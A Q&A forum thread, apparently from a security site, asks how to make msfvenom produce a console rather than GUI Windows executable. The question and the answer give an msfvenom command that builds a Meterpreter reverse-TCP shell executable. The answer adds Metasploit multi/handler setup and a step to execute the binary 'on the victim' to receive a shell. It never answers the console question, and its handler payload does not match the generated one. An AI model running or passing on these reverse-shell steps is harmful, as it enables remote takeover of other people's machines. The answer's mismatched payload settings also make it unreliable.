0

Regular msfvenom would generate a PE32 executable (GUI), does anyone know how to generate a PE32 executable (CONSOLE) binary?

e.g.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=ip LPORT=port -f exe -o shellmet.exe

would generate a PE32 executable (GUI).

what if I want a PE32 executable (CONSOLE) executable?

404
  • 53
  • 1
  • 6

1 Answers1

0

msfvenom -p windows/meterpreter/reverse_tcp LHOST=ip LPORT=port -f exe -o shellmet.exe

Now, we will use multi/handler, which is a stub that handles exploits launched outside of the framework.

use exploit/multi/handler

When using the exploit/multi/handler module, we still need to tell it which payload to expect so we configure it to have the same settings as the executable we generated.

set payload windows/shell/reverse_tcp set LHOST as ip set LPORT as port

Now that we have everything set up and ready to go, we run exploit for the multi/handler and execute our generated executable on the victim. The multi/handler handles the exploit for us and presents us our shell.

Hope it helps!

t00r
  • 54
  • 2